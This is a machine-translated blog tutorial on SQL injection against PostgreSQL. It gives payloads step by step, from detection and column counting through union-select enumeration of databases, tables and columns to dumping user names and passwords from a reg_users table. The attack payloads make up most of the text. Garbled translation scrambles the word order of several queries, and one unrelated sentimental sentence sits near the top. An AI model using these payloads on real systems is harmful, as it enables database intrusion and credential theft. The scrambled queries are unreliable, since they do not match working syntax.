チュートリアルの研究ノート(A):11、postgreasqlデータベース注射

時々私はあまりにも小さかったとき、私は細部にない注意を払うを行う彼女に会った、彼女は優しさの多くを台無しにし、彼女に謝罪したいと思い、私は申し訳ありませんが、愛していません。

A、注射があるか否かを判定する

1 = 2戻りエラー

正常および1 = 1戻り、注射の存在

そして1つの:: int型=通常の命令に1を返すには、データベースにpostgresqlです

第二に、フィールドの数を決定します

5戻るエラーによって順番
ここに画像を挿入説明
4つの指示によって注文が正常に戻るためには、4件のある
ここに画像を挿入説明
3関節問い合わせ

組合を選択し、「1」、「2 」、「3」、「4」が2/3位置表示に見られる
ここに画像を挿入説明
4つ、現在のデータベースを得ます

組合は、 '1'、current_database(選択 )、 '3'、 '4'
ここに画像を挿入説明
最初のテーブルを取得し、Vを

組合'1'、relname、選択 pg_stat_user_tablesから'3'、 '4' 1限界がオフセット0
ここに画像を挿入説明
秒テーブルを取得

組合pg_stat_user_tablesから選択し、 '1'、relname、relname、 '4' が1オフセット1を制限します

第六は、最初のフィールドを取得します

組合は、 '1'、COLUMN_NAME、選択 TABLE_NAME 'はreg_users'リミット1オフセット0 = information_schema.columnsから'3'、 '4'
ここに画像を挿入説明
2番目のフィールドを取得します

組合は、table_nameが 'reg_users' リミット1は1オフセット= information_schema.columnsから '1'、COLUMN_NAME、 '3'、 '4' を選択します

七は、フィールドの内容を取得します

組合はreg_usersから '1'、 '' ||名前|| ' '||パスワードを||''、 '3'、 '4' を選択します
ここに画像を挿入説明

違法な危険を禁止
世間の注目数を歓迎:ウェブセキュリティツールライブラリ

ここに画像を挿入説明

公開された114元の記事 ウォンの賞賛5 ビュー10000 +

おすすめ

転載: blog.csdn.net/weixin_41489908/article/details/104450618